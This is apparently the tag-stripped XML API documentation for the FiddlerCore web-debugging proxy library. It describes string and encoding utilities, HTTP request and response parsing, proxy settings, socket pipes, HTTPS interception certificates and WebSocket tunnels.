Returns the "Head" of a string, before and not including the first instance of specified delimiter. + + The string to trim from. + The delimiting character at which the trim should end. + Part of a string up to (but not including) chDelim, or the full string if chDelim was not found. + + + + [Deprecated] Ensures that the target string is iMaxLength or fewer characters + + The string to trim from + The maximum number of characters to return + Identical to the method. + Up to iMaxLength characters from the "Head" of the string. + + + + Returns the "Tail" of a string, after (but NOT including) the First instance of specified delimiter. + + + The string to trim from. + The delimiting character after which the text should be returned. + Part of a string after (but not including) chDelim, or the full string if chDelim was not found. + + + + Returns the "Tail" of a string, after (but NOT including) the First instance of specified search string. + + + The string to trim from. + The delimiting string after which the text should be returned. + Part of a string after (but not including) sDelim, or the full string if sDelim was not found. + + + + Returns the "Tail" of a string, after (and including) the first instance of specified search string. + + The string to trim from. + The delimiting string at which the text should be returned. + Part of the string starting with sDelim, or the entire string if sDelim not found. + + + + Returns the "Tail" of a string, after (but not including) the Last instance of specified delimiter. + + + The string to trim from. + The delimiting character after which text should be returned. + Part of a string after (but not including) the final chDelim, or the full string if chDelim was not found. + + + + Returns the "Tail" of a string, after (but not including) the Last instance of specified substring. + + + The string to trim from. + The delimiting string after which text should be returned. + Part of a string after (but not including) the final sDelim, or the full string if sDelim was not found. + + + + Determines true if a request with the specified HTTP Method/Verb MUST contain a entity body + + The Method/Verb + TRUE if the HTTP Method MUST contain a request body. + + + + http://tools.ietf.org/html/draft-ietf-httpbis-p2-semantics-26#section-4.2.2 + + HTTPMethod + TRUE if the method is deemed idempotent + + + + Returns true if a request with the specified HTTP Method/Verb may contain a entity body + + The Method/Verb + TRUE if the HTTP Method MAY contain a request body. + + + + Detects whether string ends in a file extension generally recognized as an image file extension. + Pass lowercase into this function. + + *Lowercase* string + TRUE if string ends with common image file extension + + + + Determines if the specified MIME type is "binary" in nature. + + The MIME type + TRUE if the MIME type is likely binary in nature + + + + Gets a string from a byte-array, stripping a Byte Order Marker preamble if present. + + + This function really shouldn't need to exist. Why doesn't calling .GetString on a string with a preamble remove the preamble??? + + The byte array + The encoding to convert from *if* there's no Byte-order-marker + The string + + + + WARNING: Potentially slow. + WARNING: Does not decode the HTTP Response body; if compressed, embedded META or _charset_ will not be checked + Gets (via Headers or Sniff) the provided body's text Encoding. If not found, returns CONFIG.oHeaderEncoding (usually UTF-8). + + HTTP Headers, ideally containing a Content-Type header with a charset attribute. + byte[] containing the entity body. + A character encoding, if one could be determined + + + + Gets (via Headers or Sniff) the Response Text Encoding. Returns CONFIG.oHeaderEncoding (usually UTF-8) if unknown. + Perf: May be quite slow; cache the response + + The session + The encoding of the response body + + + + Set of encodings for which we'll attempt to sniff. (List order matters, I think) + + + + + HtmlEncode a string. + In Fiddler itself, this is a simple wrapper for the System.Web.HtmlEncode function. + The .NET3.5/4.0 Client Profile doesn't include System.Web, so we must provide our + own implementation of HtmlEncode for FiddlerCore's use. + + String to encode + String encoded according to the rules of HTML Encoding, or null. + + + + This function accepts a string and an offset into the string. It reads one or more %XX sequences from the + string converting them into a UTF-8 string based on the input text + + + + + + + + Convert the %-encoded string into a string, interpreting %-escape sequences as UTF-8 characters + + %-encoded string + Unencoded string + + + + Replaces System.Web.HttpUtility.UrlPathEncode(str). + + String to encode as a URL Path + Encoded string + + + + Tokenize a string into tokens. Delimits on unquoted whitespace ; quote marks are dropped unless preceded by \ characters. + BUG BUG: Doesn't do what you expect with a path like this, due to the trailing slash: + prefs set fiddler.config.path.webtestexport.plugins "F:\users\ericlaw\documents\fiddler2\importexport\VSWebTest\" + For now, the simple bet is to drop the final backslash (since it'll get put back by other code) + + The string to tokenize + An array of strings + + + + Pretty-print a Hex view of a byte array. Slow. + + The byte array + Number of bytes per line + String containing a pretty-printed array + + + + Pretty-print a Hex view of a byte array. Slow. + + The byte array + Number of bytes per line + The maximum number of bytes to pretty-print + String containing a pretty-printed array + + + + Pretty-print a Hex view of a byte array. Slow. + + The byte array + Number of bytes per line + The maximum number of bytes to pretty-print + Show ASCII text at the end of each line + String containing a pretty-printed array + + + + Print an byte array to a hex string. + Slow. + + Byte array + String of hex bytes, or "null"/"empty" if no bytes provided + + + + Create a string in CF_HTML format + + The HTML string + The HTML string wrapped with a CF_HTML prelude + + + + Returns an integer from the registry, or a default. + + The Registry key in which to find the value. + The registry value name. + Default to return if the registry key is missing or cannot be used as an integer + The retrieved integer, or the default. + + + + Save a string to the registry. Correctly handles null Value, saving as String.Empty + + The registry key into which the value will be written. + The name of the value. + The value to write. + + + + Returns an Float from the registry, or a default. + + Registry key in which to find the value. + The value name. + The default float value if the registry key is missing or cannot be used as a float. + Float representing the value, or the default. + + + + Get a bool from the registry + + The RegistryKey + The Value name + The default value + Returns an bool from the registry, or bDefault if the registry key is missing or cannot be used as an bool. + + + + Maps a MIMEType to a file extension. Note: May hit the registry, so consider the performance implications. + Pass only the TYPE (e.g. use oResponse.MIMEType), to ensure no charset info in the string. + + The MIME Type + A file extension for the type, or .TXT + + + + Return the content type of a target file, or application/octet-stream if unknown. + + A filename, including the extension + + + + + Use the system registry to find the proper MIME-Type for a given file extension. + WARNING: Calling Path.GetExtension may throw on bad input. Use to guard against that. + + Dot-prefixed file extension (e.g. ".js") + Content-Type, or null if one cannot be determined + + + + Determines if we have a complete chunked response body (RFC2616 Section 3.6.1) + + The session object, used for error reporting + The response data stream. Note: We do not touch the POSITION property. + The start of the HTTP body to scan for chunk size info + Returns the start of the final received/partial chunk + End of byte data in stream representing this chunked content, or -1 if error + True, if we've found the complete last chunk, false otherwise. + + + + Takes a byte array and applies HTTP Chunked Transfer Encoding to it + + The byte array to convert + The number of chunks to try to create + The byte array with Chunked Transfer Encoding applied + + + + Removes HTTP chunked encoding from the data in writeData and returns the resulting array. + + Some chunked data + Unchunked data. Warning: Throws on data format errors + + + + Returns TRUE if the Array contains nulls. TODO: Extend to check for other chars which are clearly non-Unicode + + + + + + + Implements a BlockList for "unknown" encodings that the utilDecode* functions cannot handle + + Transfer-Encoding + Content-Encoding + TRUE if any encoding is known to be unsupported + + + + Removes one or more encodings in the proper order to reconstruct the unencoded body. + If removing Transfer-Encoding and Content-Encoding, ALWAYS remove Transfer-Encoding first. + + The list of encodings in the order that they were applied + RFC2616: If multiple encodings have been applied to an entity, the content codings MUST be listed in the order in which they were applied. + Should unchunking be permitted (TRUE for Transfer-Encoding, FALSE for Content-Encoding) + The bytes of the body + + + + Remove all encodings from arrBody, based on those specified in the supplied HTTP headers; does NOT modify headers. + Throws on errors. + + *Readonly* headers specifying what encodings are applied + In/Out array to be modified + + + + Decompress an array compressed using an Zlib DEFLATE stream. Not a HTTP Encoding; it's used internally in the PNG format. + + The array to expand + byte[] of decompressed data + + + + GZIPs a byte-array + + Input byte array + byte[] containing a gzip-compressed copy of writeData[] + + + + GZIP-Expand function which shows no UI and will throw on error + + TRUE if you want to use Xceed to decompress; false if you want to use System.IO + byte[] to decompress + A decompressed byte array, or byte[0]. Throws on errors. + + + + Expands a GZIP-compressed byte array + + The array to decompress + byte[] containing an un-gzipped copy of compressedData[] + + + + Compress a byte array using RFC1951 DEFLATE + + Array to compress + byte[] containing a DEFLATE'd copy of writeData[] + + + + UnDeflate function which shows no UI and will throw on error + + TRUE if you want to use Xceed to decompress; false if you want to use System.IO + byte[] to decompress + A decompressed byte array, or byte[0]. Throws on errors. + + + + Decompress a byte array that was compressed using RFC1951 DEFLATE + + Array to decompress + byte[] of decompressed data + + + + Compress a byte[] using the bzip2 algorithm + + Array to compress + byte[] of data compressed using bzip2 + + + + Decompress an array compressed using bzip2 + + The array to expand + byte[] of decompressed data + + + + Decompress an array compressed using bzip2 + + The array to expand + byte[] of decompressed data + + + + Try parsing the string for a Hex-formatted int. If it fails, return false and 0 in iOutput. + + The hex number + The int value + TRUE if the parsing succeeded + + + + Returns TRUE if two ORIGIN (scheme+host+port) values are functionally equivalent. + + The first ORIGIN + The second ORIGIN + The default port, if a port is not specified + TRUE if the two origins are equivalent + + + + This function cracks a sHostPort string to determine if the address + refers to a "local" site + + The string to evaluate, potentially containing a port + True if the address is local + + + + This function cracks a sHostPort string to determine if the address + refers to the local computer + + The string to evaluate, potentially containing a port + True if the address is 127.0.0.1, 'localhost', or ::1 + + + + Determines if the specified Hostname is a either 'localhost' or an IPv4 or IPv6 loopback literal + + Hostname (no port) + TRUE if the hostname is equivalent to localhost + + + + This function cracks the Hostname/Port combo, removing IPV6 brackets if needed + + Hostname/port combo, like www.foo.com or www.example.com:8888 or [::1]:80 + The hostname, minus any IPv6 literal brackets, if present + Port #, 80 if not specified, -1 if corrupt + + + + Given a string/list in the form HOSTNAME:PORT#;HOSTNAME2:PORT2#, this function returns the FIRST IPEndPoint. Defaults to port 80 if not specified. + Warning: DNS resolution is slow, so use this function wisely. + + HOSTNAME:PORT#;OPTHOST2:PORT2# + An IPEndPoint or null + + + + Given a string/list in the form HOSTNAME:PORT#;HOSTNAME2:PORT2#, this function returns all IPEndPoints for ALL listed hosts. Defaults to port 80 if not specified. + Warning: DNS resolution is slow, so use this function wisely. + + HOSTNAME:PORT#;OPTHOST2:PORT2# + An array of IPEndPoints or null if no results were obtained + + + + This function attempts to be a ~fast~ way to return an IP from a hoststring that contains an IP-Literal. + + Hostname + IPAddress, or null, if the sHost wasn't an IP-Literal + + + + Launch the user's browser to a hyperlink. This function traps exceptions and notifies the user via UI dialog. + + The URL to ShellExecute. + TRUE if the ShellExecute call succeeded. + + + + Wrapper for Process.Start that shows error messages in the event of failure. + + Fully-qualified filename to execute. + Command line parameters to pass. + TRUE if the execution succeeded. FALSE if the execution failed. An error message will be shown for any error except the user declining UAC. + + + + Run an executable and wait for it to exit, notifying the user of any exceptions. + + Fully-qualified filename of file to execute. + Command-line parameters to pass. + TRUE if the execution succeeded. FALSE if the error message was shown. + + + + Run an executable, wait for it to exit, and return its output as a string. + NOTE: Uses CreateProcess, so you cannot launch applications which require Elevation. + + Fully-qualified filename of file to Execute + Command-line parameters to pass + Exit code returned by the executable + String containing the standard-output of the executable + + + + Copy a string to the clipboard, notifying the user of any exceptions + + The text to copy + TRUE if the copy succeeded + + + + Copy an object to the clipboard, notifying the user of any exceptions + + The object to copy + True if successful + + + + This method prepares a string to be converted into a regular expression by escaping special characters and CONVERTING WILDCARDS. + This method was originally meant for parsing WPAD proxy script strings. + + You typically should use the Static RegEx.Escape method for most purposes, as it doesn't convert "*" into ".*" + + + + + + + + + Determines whether the arrData array STARTS WITH with the supplied arrMagics bytes. Used for Content-Type sniffing. + + The data, or null + The MagicBytes to look for + TRUE if arrData begins with arrMagics + + + + Determines whether the arrData array begins with the supplied sMagics ASCII text. Used for Content-Type sniffing. + + The data, or null + The ASCII text to look for + TRUE if arrData begins with sMagics (encoded as ASCII octets) + + + + Is this HTTPMethod used for RPC-over-HTTPS? + + + + + Determine if a given byte array has the start of a HTTP/1.* 200 response. + Useful primarily to determine if a CONNECT request to a proxy returned success. + + + + + + + Determine if a given byte array has the start of a HTTP/1.* 200 response. + Useful primarily to determine if a CONNECT request to a proxy returned success. + + + + + + + For a given process name, returns a bool indicating whether this is a known browser process name. + + The Process name (e.g. "abrowser.exe") + Returns true if the process name starts with a common browser process name (e.g. ie, firefox, etc) + + + + Ensure that a given path is absolute, if not, applying the root path + + + + + + + + If sFilename is absolute, returns it, otherwise, combines the leaf filename with local response folders hunting for a match. + Trims at the first ? character, if any + + Either a fully-qualified path, or a leaf filename + File path + + + + Format an Exception message, including InnerException message if present. + + + + + + + Get a TickCount (milliseconds since system start) as an unsigned 64bit value. On Vista+, uses the GetTickCount64 API that won't rollover, + but on XP, this unsigned wrapper moves the rollover point to 49 days of uptime. + + Number of ms since Windows started + + + + Returns TRUE if the user is running Elevated. Requires WinXP to Win8 + + TRUE if the user is an Admin and the process is Elevated + + + + Returns a succinct version of Environment.OSVersion.VersionString + + + + + + Duplicate a byte array, replacing null with byte[0]. + Doing this instead of .Clone() because it better handles nulls and it may be faster. + + The array to copy + The new array. + + + + Returns TRUE if the array is null or contains 0 bytes + + byte[] to test + + + + + + + + True if ClientChatter is non-null and its headers are non-null + + + + True if ClientChatter is non-null and its headers are non-null + + + True if ClientChatter is non-null and its headers are non-null + + + + Return a multi-line string describing the NetworkInterfaces[] + + + + + + Checks a DLL's filename for signals that it doesn't contain extensions. + TODO: This is only needed because I wasn't smart enough to require that the assembly be named something like Fiddler.* + + DLL filename + TRUE if we should skip this assembly during enumeration + + + + Create a Session Archive Zip file containing the specified sessions + + The filename of the SAZ file to store + Array of sessions to store + Password to encrypt the file with, or null + TRUE if verbose error dialogs should be shown. + + + + + This is a refactored helper function which writes a single session to an open SAZ file. + + The session to write to the file + The ZIP File + The number of this file + The format string (e.g. "D3") to use when formatting the file number + The HTML String builder to write index information + TRUE to show verbose error dialog information + + + + Reads a Session Archive Zip file into an array of Session objects + + Filename to load + + Loaded array of sessions or null, in case of failure + + + + URLMon Interop Class + + + + + Set the user-agent string for the current process + + New UA string + + + + Query WinINET for the current process' proxy settings. Oddly, there's no way to UrlMkGetSessionOption for the current proxy. + + String of hex suitable for display + + + + Configures the current process to use the system proxy for URLMon/WinINET traffic. + + + + + Configures the current process to use no Proxy for URLMon/WinINET traffic. + + + + + Sets the proxy for the current process to the specified list. See http://msdn.microsoft.com/en-us/library/aa383996(VS.85).aspx + + e.g. "127.0.0.1:8888" or "http=insecProxy:80;https=secProxy:444" + Semi-colon delimted list of hosts to bypass proxy; use <local> to bypass for Intranet + + + + States for the (future) Session-processing State Machine. + NOT YET USED. + + + + + State of the current session + + + + + Object created but nothing's happening yet + + + + + Thread is reading the HTTP Request + + + + + AutoTamperRequest pass 1 (Only used by IAutoTamper) + + + + + User can tamper using Fiddler Inspectors + + + + + AutoTamperRequest pass 2 (Only used by IAutoTamper) + + + + + Thread is sending the Request to the server + + + + + Thread is reading the HTTP Response + + + + + AutoTamperResponse pass 1 (Only used by IAutoTamper) + + + + + User can tamper using Fiddler Inspectors + + + + + AutoTamperResponse pass 2 (Only used by IAutoTamper) + + + + + Sending response to client application + + + + + Session complete + + + + + Session was aborted (client didn't want response, fatal error, etc) + + + + + This enumeration provides the values for the Session object's BitFlags field + + + + + No flags are set + + + + + The request originally arrived with a URL specifying the HTTPS protocol. + + + + + The request originally arrived with a URL specifying the FTP protocol. + + + + + Ignore this traffic; do not buffer, store, or call event handlers + + + + + The client pipe was reused + + + + + The server pipe was reused + + + + + The request was streamed (e.g. on an RPC_OUT_DATA request) + + + + + The response was streamed + + + + + The request was generated by Fiddler itself (e.g. the Composer tab) + + + + + The response was generated by Fiddler itself (e.g. AutoResponder or utilCreateResponseAndBypassServer) + + + + + This session was loaded from a .SAZ File + + + + + This session was loaded from some other tool + + + + + This request was sent to an upstream (CERN) gateway proxy + + + + + This is a "blind" CONNECT tunnel for HTTPS traffic + + + + + This is a CONNECT tunnel which decrypts HTTPS traffic as it flows through + + + + + This response was served from a client cache, bypassing Fiddler. Fiddler only "sees" this session because other software reported it to Fiddler + + + + + There was a HTTP Protocol violation in the client's request + + + + + There was a HTTP Protocol violation in the server's response + + + + + Response body was dropped, e.g due to fiddler.network.streaming.ForgetStreamedData + + + + + This is a CONNECT tunnel for WebSocket traffic + + + + + This request was sent using the SOCKS protocol + + + + + This class maintains the Proxy Bypass List for the upstream gateway. + In the constructor, pass the desired proxy bypass string, as retrieved from WinINET for the Fiddler Options screen. + Then, call the IsBypass(sTarget) method to determine if the Gateway should be bypassed + + + + + List of regular expressions for matching against request Scheme://HostPort. + NB: This list is either null or contains at least one item. + + + + + Boolean flag indicating whether the bypass list contained a <local> token. + + + + + Pass the desired proxy bypass string retrieved from WinINET. + + + + + + Given the rules for this bypasslist, should this target bypass the proxy? + + The URI Scheme + The Host and PORT + True if this request should not be sent to the gateway proxy + + + + Convert the string representing the bypass list into an array of rules escaped and ready to be turned into regular expressions + + + + + + Does the bypassList contain any rules at all? + + + + + Flags that indicate what problems, if any, were encountered in parsing HTTP headers + + + + + There were no problems parsing the HTTP headers + + + + + The HTTP headers ended incorrectly with \n\n + + + + + The HTTP headers ended incorrectly with \n\r\n + + + + + The HTTP headers were malformed. + + + + + The Parser class exposes static methods used to parse strings or byte arrays into HTTP messages. + + + + + Given a byte[] representing a request, determines the offsets of the components of the line. WARNING: Input MUST contain a LF or an exception will be thrown + + Byte array of the request + Returns the index of the byte of the URI in the Request line + Returns the length of the URI in the Request line + Returns the index of the first byte of the name/value header pairs + + + + Parse out HTTP Header lines. + + Header collection to *append* headers to + Array of Strings + Index into array at which parsing should start + String containing any errors encountered + TRUE if there were no errors, false otherwise + + + + Given a byte array, determines the Headers length + + Input array of data + Returns the calculated length of the headers. + Returns the calculated start of the response body. + Any HTTPHeaderParseWarnings discovered during parsing. + True, if the parsing was successful. + + + + Given a MemoryStream, attempts to parse a HTTP Request starting at the current position. + + TRUE if a request could be parsed, FALSE otherwise + + + + Given a MemoryStream, attempts to parse a HTTP Response starting at the current position + + TRUE if the response must not have a body (e.g. because Request method was HEAD) + TRUE if a response could be parsed, FALSE otherwise + + + + Parse the HTTP Request into a headers object. + + The HTTP Request string, including *at least the headers* with a trailing CRLFCRLF + HTTPRequestHeaders parsed from the string. + + + + Break headers off, then convert CRLFs into LFs + + + + + + + Parse the HTTP Response into a headers object. + + The HTTP response as a string, including at least the headers. + HTTPResponseHeaders parsed from the string. + + + + The RASInfo class is used to enumerate Network Connectoids so Fiddler can adjust proxy configuration for all connectoids, not just the DefaultLAN + + + + + Ask RAS for the list of network connectoids. We'll always add "DefaultLAN" to this list as well. + + + + + + Abstract base class for the ClientPipe and ServerPipe classes. A Pipe represents a connection to either the client or the server, optionally encrypted using SSL/TLS. + + + + + The base socket wrapped in this pipe + + + + + The number of times that this Pipe has been used + + + + + The HTTPS stream wrapped around the base socket + + + + + The display name of this Pipe + + + + + Number of milliseconds to delay each 1024 bytes transmitted + + + + + Create a new pipe, an enhanced wrapper around a socket + + Socket which this pipe wraps + Identification string used for debugging purposes + + + + Poll the underlying socket for readable data (or closure/errors) + + TRUE if this Pipe requires attention + + + + Call this method when about to reuse a socket. Currently, increments the socket's UseCount and resets its transmit delay to 0. + + The session identifier of the new session, or zero + + + + Sends a byte array through this pipe + + The bytes + + + + Sends the data specified in oBytes (between iOffset and iOffset+iCount-1 inclusive) down the pipe. + + + + + + + + Receive bytes from the pipe into the DATA buffer. + + Throws IO exceptions from the socket/stream + Array of data read + Bytes read + + + + Return the raw socket this pipe wraps. Avoid calling this method if at all possible. + + The Socket object this Pipe wraps. + + + + Shutdown and close the socket inside this pipe. Eats exceptions. + + + + + Abruptly closes the socket by sending a RST packet + + + + + Return the Connected status of the base socket + + + + + Returns a bool indicating if the socket in this Pipe is CURRENTLY connected and wrapped in a SecureStream + + + + + Returns the SSL/TLS protocol securing this connection + + + + + Return the Remote Port to which this socket is attached. + + + + + Return the Local Port to which the base socket is attached. Note: May return a misleading port if the ISA Firewall Client is in use. + + + + + Returns the remote address to which this Pipe is connected, or 0.0.0.0 on error. + + + + + Gets or sets the transmission delay on this Pipe, used for performance simulation purposes. + + + + + Summary description for frmPrompt. + + + + + Required designer variable. + + + + + GetUserString prompts the user for a string. + + Title of the dialog + The prompt text in the dialog + The default response + If true, will return null if user hits cancel. Else returns sDefault. + The user's result, or null if user cancelled and bReturnNullIfCancelled set. + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + To override default certificate handling, your class should implement this interface in an assembly + referenced by the fiddler.certmaker.assembly preference; by default, "certmaker.dll" in the application + folder is loaded + + + + + Implement ICertificateProvider2 instead + + + + + Return a certificate to secure this traffic. Generally, it's expected that this method WILL create a new certificate if needed. + + Hostname (e.g. "www.example.com") + An X509Certificate, or null on error + + + + Return the root certificate to which Host Certificates are chained. Generally, it's expected that this method will NOT create a root certificate. + + An X509Certificate, or null on error + + + + When this method is called, your extension should create a Root certificate. + + TRUE if the operation was successful + + + + When this method is called, your extension should copy the your Root certificate into + the user's (or machines's) Root certificate store. + + TRUE if the operation was successful + + + + When this method is called, your extension should discard all certificates and + clear any certificates that have been added to the user's certificate store. + + TRUE, if all certificates were removed; FALSE if any certificates were preserved + + + + When this method is called, your extension should check to see if the User or Machine Root + certificate store contains your Root certificate. + + Set to TRUE if StoreLocation.CurrentUser StoreName.Root has the certificate + Set to TRUE if StoreLocation.LocalMachine StoreName.Root has the certificate + TRUE if either bUserTrusted or bMachineTrusted + + + + When this method is called, your extension should discard all certificates and + clear any certificates that have been added to the user's certificate store + + TRUE if the root certificate should also be cleared + TRUE, if all certificates were removed; FALSE if any certificates were preserved + + + + Call this function to cache a certificate in the Certificate Provider + + The hostname to match + The certificate that the Provider should later provide when GetCertificateForHost is called + True if the request was successful + + + + File path pointing to the location of MakeCert.exe + + + + + Cache of previously-generated EE certificates. Thread safety managed by _oRWLock + + + + + Cache of previously-generated Root certificate + + + + + Reader/Writer lock gates access to the certificate cache and generation functions + + + + + Constructor: Simply cache the path to MakeCert + + + + + Find certificates that have the specified full subject. + + The store to search + FindBySubject{Distinguished}Name requires a complete match of the SUBJECT, including CN, O, and OU + Matching certificates + + + + Find certificates that have the specified issuer. + + The store to search + FindByIssuer{Distinguished}Name requires a complete match of the SUBJECT, including CN, O, and OU + Matching certificates + + + + Interface method: Clear the in-memory caches and Windows certificate stores + + TRUE to clear the Root Certificate from the cache and Windows stores + TRUE if successful + + + + Interface method: Clear the in-memory caches and Windows certificate stores + + + + + + Use MakeCert to generate a unique self-signed certificate + + TRUE if the Root certificate was generated successfully + + + + Get the root certificate from cache or storage, only if it already exists. + + + + + + Returns an Interception certificate for the specified hostname + + Hostname for the target certificate + This method uses a Reader lock when checking the cache and a Writer lock when updating the cache. + An Interception Certificate, or NULL + + + + Find a certificate from the certificate store, creating a new certificate if it was not found. + + A SubjectCN hostname, of the form www.example.com + TRUE if the cert wasn't found in the Windows Certificate store and this function attempted to create it. + No locks are acquired by this method itself. + A certificate or /null/ + + + + Find a certificate from the CurrentUser certificate store, if present. + + No locks are acquired by this method itself. + A certificate or /null/ + + + + Updates the Server Certificate cache under the Writer lock + + The target hostname + The certificate to cache + + + + + Creates a certificate for ServerAuth. If isRoot is set, designates that this is a self-signed root. + + Uses a reader lock when checking for the Root certificate. Uses a Writer lock when creating a certificate. + A string of the form: "www.hostname.com" + A boolean indicating if this is a request to create the root certificate + Newly-created certificate, or Null + + + + The ClientChatter object, exposed as the oRequest object on the Session object, represents a single web request. + + + + + Size of buffer passed to pipe.Receive when reading from the client + + + + + The ClientPipe object which is connected to the client, or null. + + + + + Parsed Headers + + + + + The session object which owns this ClientChatter + + + + + The host pulled from the URI, usually null except while reading/parsing the request + + + + + Buffer holds this request's data as it is read from the pipe. + + + + + Offset to first byte of body in m_requestData + + + + + Optimization: tracks how far we've previously looked when determining iEntityBodyOffset + + + + + Create a ClientChatter object initialized with a set of HTTP headers + Called primarily when loading session data from a file. + + The session object which will own this request + The string containing the request data + + + + Loads a HTTP request from a file rather than a memory stream. TODO: Why not make this public and have a responsebody version? + + The file to load + TRUE if the file existed. + + + + Based on this session's data, determine the expected Transfer-Size of the request body. See RFC2616 Section 4.4 Message Length. + Note, there's currently no support for "multipart/byteranges" requests anywhere in Fiddler. + + Expected Transfer-Size of the body, in bytes. + + + + Free Request data. Called by TakeEntity or by ReadRequest method on request failure + + + + + Extract a byte array representing the entity, put any excess bytes back in the socket, delete the requestData stream, and return the entity. + + Byte array containing the entity + + + + Send a HTTP/XXX Error Message to the Client, calling FiddlerApplication.BeforeReturningError and DoReturningError in FiddlerScript. + Note: This method does not poison either the client or server pipe, so if poisoning is desired, it's the caller's responsibility to do that. + + Response code + Response status text + Body of the HTTP Response + + + + Parse the headers from the requestData buffer. + Precondition: Call AFTER having set the correct iEntityBodyOffset. + + Note: This code used to be a lot simpler before, when it used strings instead of byte[]s. Sadly, + we've gotta use byte[]s to ensure nothing in the URI gets lost. + + TRUE if successful. Frees arrRequest if successful. + + + + This function decides if the request string represents a complete HTTP request + + + + + + Scans requestData stream for the \r\n\r\n (or variants) sequence + which indicates that the header block is complete. + + SIDE EFFECTS: + iBodySeekProgress is updated and maintained across calls to this function + iEntityBodyOffset is updated if the end of headers is found + + True, if requestData contains a full set of headers + + + + Read a complete HTTP Request from the Client. + + TRUE, if a request could be read. FALSE, otherwise. + + + + Peek at number of bytes received from the client thus far. + + + + + HTTP Headers sent in the client request, or null. + + + + + Was this request received from a reused client connection? + + + + + Note: This returns the HTTP_HOST header, which may include a trailing port #. + + + + + Simple indexer into the Request Headers object + + + + + The PipePool maintains a collection of connected ServerPipes for reuse + + + + + Minimum idle time of pipes to be expired from the pool. + Note, we don't check the pipe's ulLastPooled value when extracting a pipe, + so its age could exceed the allowed lifetime by up to MSEC_POOL_CLEANUP_INTERVAL + + + + + The Pool itself. + + + + + Time at which a "Clear before" operation was conducted. We store this + so that we don't accidentally put any pipes that were in use back into + the pool after a clear operation + + + + + Remove any pipes from Stacks if they exceed the age threshold + Remove any Stacks from pool if they are empty + + + + + Clear all pooled Pipes, calling .End() on each. + + + + + Return a string representing the Pipes in the Pool + + A string representing the pipes in the pool + + + + Get a Server connection for reuse, or null if a suitable connection is not in the pool. + + The key which identifies the connection to search for. Good syntax is [HTTPS:]HOSTNAME:PORT + The ProcessID of the client requesting the Pipe + HACK to be removed; the SessionID# of the request + A Pipe to reuse, or NULL + + + + Store a pipe for later use, if reuse is allowed by settings and state of the pipe. + + The Pipe to place in the pool + + + + A ClientPipe wraps a socket connection to a client application. + + + + + Client process name (e.g. "iexplore") + + + + + Client process ProcessID + + + + + Data which was previously "over-read" from the client. Populated when HTTP-pipelining is attempted + + + + + Does this Pipe have data (or closure/errors) to read? + + TRUE if this Pipe requires attention + + + + If you previously read more bytes than you needed from this client socket, you can put some back. + + Array of bytes to put back + + + + Sets the receiveTimeout based on whether this is a freshly opened client socket or a reused one. + + + + + Returns a semicolon-delimited string describing this ClientPipe + + A semicolon-delimited string + + + + Perform a HTTPS Server handshake to the client. Swallows exception and returns false on failure. + + + + + + + This function sends the client socket a CONNECT ESTABLISHED, and then performs a HTTPS authentication + handshake, with Fiddler acting as the server. + + Hostname Fiddler is pretending to be (NO PORT!) + The set of headers to be returned to the client in response to the client's CONNECT tunneling request + true if the handshake succeeds + + + + ID of the process that opened this socket, assuming that Port Mapping is enabled, and the connection is from the local machine + + + + + Name of the Process referred to by LocalProcessID, or String.Empty if unknown + + + + + Timestamp of either 1> The underlying socket's creation from a .Accept() call, or 2> when this ClientPipe was created. + + + + + The Logger object is a simple event log + + + + + Queue of Messages that are be logged (usually during application startup) until another object has loaded and registered for notification of such Messages + + + + + Creates a Logger object + + True if a queue should be created to store messages during Fiddler's startup + + + + Flushes previously-queued messages to the newly attached listener. + + + + + Log a string with specified string formatting + + The format string + The arguments to replace in the string + + + + Log a string + + The string to log + + + + The Event to raise when a string is logged + + + + + EventArgs class for the LogEvent handler + + + + + The String which has been logged + + + + + Fiddler Transcoders allow import and export of Sessions from Fiddler + + + + + Create the FiddlerTranscoders object + + + + + List all of the Transcoder objects that are loaded + + + + + + Add Import/Export encoders to FiddlerApplication.oTranscoders + + Assembly to import exporters and importers + FALSE on obvious errors + + + + Add Import/Export encoders to FiddlerApplication.oTranscoders + + Assembly to scan for transcoders + FALSE on obvious errors + + + + Loads any assembly in the specified path that ends with .dll and does not start with "_", checks that a compatible version requirement was specified, + and adds the importer and exporters within to the collection. + + The path to scan for extensions + + + + Ensures that Import/Export Transcoders have been loaded + + + + + Returns a TranscoderTuple willing to handle the specified format + + The Format + TranscoderTuple, or null + + + + Returns a TranscoderTuple willing to handle the specified format + + The Format + TranscoderTuple, or null + + + + Gets the format list of the specified type and adds that type to the collection. + + + + TRUE if any formats were found; FALSE otherwise + + + + Clear Importer and Exporter collections + + + + + True if one or more classes implementing ISessionImporter are available. + + + + + True if one or more classes implementing ISessionImporter are available. + + + + + The WebSocket class represents a "tunnel" through a WebSocket shuffles bytes between a client and the server. + The class' messages may be deserialized from a SAZ file. + + + + + Should this WebSocket Tunnel parse the WS traffic within into individual messages? + + + + + Writes all of the messages stored in this WebSocket to a stream. + + + + + + + Read headers from the stream. + + The Stream from which WebSocketSerializationHeaders should be read + The Array of headers, or String[0] + + + + Number of bytes received from the client + + + + + Number of bytes received from the server + + + + + Creates a "detached" WebSocket which contains messages loaded from the specified stream + + Session to which the WebSocket messages belong + The Stream containing messages, which will be closed upon completion + + + + This factory method creates a new WebSocket Tunnel and executes it on a background (non-pooled) thread. + + The Session containing the HTTP CONNECT request + + + + Creates a WebSocket tunnel. External callers instead use the CreateTunnel static method. + + The session for which this tunnel was initially created. + The client pipe + The server pipe + + + + This function keeps the Tunnel/Thread alive until it is signaled that the traffic is complete + + + + + Performs cleanup of the WebSocket instance. Call this after the WebSocket closes normally or after abort/exceptions. + + + + + Executes the WebSocket tunnel on a background thread + + + + + Interface Method + Close the WebSocket and signal the event to let its service thread die. Also called by oSession.Abort() + WARNING: This should not be allowed to throw any exceptions, because it will do so on threads that don't + catch them, and this will kill the application. + + + + + When we get a buffer from the client, we push it into the memory stream + + + + + When we get a buffer from the server, we push it into the memory stream + + + + + This method parses the data in strmClientBytes to extact one or more WebSocket messages. It then sends each message + through the pipeline. + + + + This method parses the data in strmServerBytes to extact one or more WebSocket messages. It then sends each message + through the pipeline to the client. + + + + Called when we have received data from the local client. + + The result of the asynchronous operation. + + + Called when we have received data from the remote host. Incoming data will immediately be forwarded to the local client. + The result of the asynchronous operation. + + + + Is this WebSocket open/connected? + + + + + Boolean that determines whether the WebSocket tunnel tracks messages. + + + + + Returns number of bytes sent from the Server to the Client on this WebSocket + + + + + Returns number of bytes sent from the Client to the Server on this WebSocket + + + + + A WebSocketMessage stores a single frame of a single WebSocket message + 